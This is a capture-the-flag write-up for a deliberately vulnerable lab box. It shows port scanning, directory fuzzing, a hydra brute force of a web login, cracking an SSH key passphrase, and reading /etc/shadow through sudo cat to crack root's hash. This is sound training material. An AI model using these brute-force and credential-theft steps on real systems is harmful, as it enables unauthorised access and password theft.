Brute It is an easy box for practicing brute force techniques. After some simple recon we’ll brute force our way through a login form to gain access to an admin panel. Once authenticated we’re provided with a user’s private RSA key file which we’ll need to crack the passphrase for in order to use it to gain shell access. Finally, we’ll exploit sudo privileges to leak the root user’s password hash, and crack it again with brute force in order to get a root shell.


Let’s kick off a port scan with service enumaration to answer the questions from the recon challenge.

└─$ sudo rustscan -a -- -sV -oA nmap1                                                            

22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Search for open ports using nmap. How many ports are open?


What version of SSH is running?

OpenSSH 7.6p1

What version of Apache is running?


Which Linux distribution is running?


Search for hidden directories on the web server. What is the hidden directory?

We can enumerate content by running a scanner like ffuf, gobuster, wfuzz, etc..

└─$ ffuf -t 80 -u -w /usr/share/wordlists/dirb/common.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3

 :: Method           : GET
 :: URL              :
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 80
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405

.htpasswd               [Status: 403, Size: 275, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 275, Words: 20, Lines: 10]
.hta                    [Status: 403, Size: 275, Words: 20, Lines: 10]
admin                   [Status: 301, Size: 308, Words: 20, Lines: 10]
index.html              [Status: 200, Size: 10918, Words: 3499, Lines: 376]
server-status           [Status: 403, Size: 275, Words: 20, Lines: 10]
:: Progress: [4614/4614] :: Job [1/1] :: 364 req/sec :: Duration: [0:00:14] :: Errors: 0 ::

With this scan we’ve found the hidden directory /admin.

Getting A Shell

Let’s take a look at /admin. It’s a login form for an admin panel.

└─$ curl

<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="styles.css">
    <title>Admin Login Page</title>
    <div class="main">
        <form action="" method="POST">
            <input type="text" name="user">
            <input type="password" name="pass">
            <button type="submit">LOGIN</button>
    <!-- Hey john, if you do not remember, the username is admin -->

What is the user:password of the admin panel?

The comment in the source code of the page reveals admin is a username. We can attempt to brute force the password with hydra.

First, let’s try submitting admin:admin credentials to see how the application responds.

Admin form with invalid credentials

Now we have all the info we need to run hydra:

└─$ hydra -T 80 -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/admin/:user=^USER^&pass=^PASS^:invalid"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra ( starting at 2022-02-27 13:24:42
[WARNING] reducing maximum tasks to MAXTASKS (64)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://^USER^&pass=^PASS^:invalid
[80][http-post-form] host:   login: admin   password: REDACTED
1 of 1 target successfully completed, 1 valid password found

Success! We can now log in with these credentials and grab the web flag.

Sucessful login

Crack the RSA key you found. What is John’s RSA Private Key passphrase?

  1. Download the private key: wget
  2. Use ssh2john to convert the key file to a hash that john can crack: python /usr/share/john/ id_rsa > id_rsa.hash
  3. Run john the ripper to crack the hash.
└─$ john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED       (id_rsa)
1g 0:00:00:04 DONE (2022-02-27 13:40) 0.2421g/s 3472Kp/s 3472Kc/s 3472KC/sa6_123..*7¡Vamos!
Session completed

Finally we just need to run chmod 400 id_rsa to update the permissions on the key and then we can SSH into the box with ssh -i id_rsa john@ and the passphrase.

Once logged in we can find the user.txt flag in john’s home directory.

Privilege Escalation

Let’s check if john has any sudo privileges.

john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass,

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat

Yes, we can run /bin/cat as root. Since we’re looking for root’s password, we can use this privilege to get root’s password hash from the shadow file and attempt to crack it just like we did for john’s passphrase.

john@bruteit:/tmp$ sudo /bin/cat /etc/shadow > shadow

Next, copy the whole line containing root’s hash to a new file on your local machine and run john to crack it.

└─$ john roothash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED         (root)
1g 0:00:00:00 DONE (2022-02-27 13:54) 12.50g/s 3200p/s 3200c/s 3200C/s 123456..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now we log in as root and capture the root flag!

john@bruteit:~$ su root
root@bruteit:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
root@bruteit:/home/john# cd /root
root@bruteit:~# wc -c root.txt 
26 root.txt